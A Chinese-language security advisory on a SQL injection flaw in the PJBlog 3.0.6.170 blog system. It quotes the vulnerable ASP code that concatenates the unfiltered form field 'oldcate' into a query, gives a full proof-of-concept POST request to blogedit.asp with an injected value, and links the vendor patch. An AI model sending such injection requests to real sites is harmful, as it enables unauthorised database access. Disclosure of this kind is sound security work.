个人博客系统程序pjblog的漏洞分析利用

影响版本:PJBlog 3.0.6.170

程序介绍:PJBlog一套开源免费的中文个人博客系统程序，采用asp+Access的技术，具有相当高的运作效能以及更新率，也支持目前Blog所使用的新技术。

漏洞分析:

在文件class/cls_logAction.asp中：

oldcate=request.form("oldcate") //第429行

oldctype=request.form("oldtype")

D = conn.execute("select cate_Part from blog_Category where cate_ID="&oldcate)(0)程序没有对变量oldcate做任何过滤放入sql查询语句中，导致注入漏洞的产生。

漏洞利用:

POST /blogedit.asp HTTP/1.1

Accept: application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/msword, application/vnd.ms-excel, application/vnd.ms-powerpoint, */*

Referer: http://127.0.0.1/blogedit.asp?id=1

Accept-Language: zh-cn

Content-Type: application/x-www-form-urlencoded

UA-CPU: x86

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; TencentTraveler 4.0; .NET CLR 2.0.50727)

Host: 127.0.0.1

Content-Length: 513

Connection: Keep-Alive

Cache-Control: no-cache

Cookie: __utma=96992031.4542583209449947600.1239335726.1240296350.1240324232.7; __utmz=96992031.1239335726.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PJBlog3Setting=ViewType=normal; PJBlog3=memRight=111111111111&memHashKey=c80f369e20b317566f736dbc70839834745d9c20&memName=

admin&exp=2010%2D4%2D21; ASPSESSIONIDCCDSDABA=OEBBHCODJFKIJEGKGCPHGMCP

id=1&log_editType=1&action=post&log_IsDraft=False&title=xxx&log_CateID=3&cname=xxx&ctype=0&oldcname=

xxx&oldtype=0&oldcate=3201=1&log_weather=sunny&log_Level=level3&log_comorder=1&blog_pws=

0&log_Readpw=&log_Pwtips=&c_pws=0&blog_Meta=0&evio_KeyWords=xxx&evio_Description=

web+safe&log_From=%E6%9C%AC%E7%AB%99%E5%8E%9F%E5%88%9B&log_FromURL=http%3A%2F%2Flocalhost%2Fbackci%2F&PubTimeType=com&PubTime=2009-4-21+15%3A54%3A46&tags=&UBBfonts=&UBBfonts=&UBBfonts=&UBBmethod=on&Message=web+safe&log_Intro=

web+safe&log_Quote=解决方案:

厂商补丁：

PJblog

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目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：

http://bbs.pjhome.net/thread-52214-1-1.html